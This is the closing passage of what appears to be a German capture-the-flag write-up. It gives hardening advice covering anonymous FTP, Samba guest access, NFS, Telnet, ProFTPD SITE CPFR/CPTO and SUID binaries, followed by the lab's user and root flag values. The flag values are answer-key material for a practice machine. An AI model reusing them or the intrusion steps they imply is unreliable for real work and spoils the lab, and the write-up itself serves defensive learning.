  • Deaktivieren Sie anonymen FTP-Zugang und Gast-Zugriff auf Samba.
  • Sichern Sie NFS-Freigaben.
  • Deaktivieren Sie Telnet (falls aktiv) und unsichere ProFTPD-Features (SITE CPFR/CPTO).
  • Implementieren Sie Brute-Force-Schutz.
  • Überprüfen und minimieren Sie SUID-Binaries.

Flags

cat /home/smbuser/user.txt ???
USER_FLAG_WERT (Nicht im Log gefunden)
cat /root/proof.txt
af52e0163b03cbf7c6dd146351594a43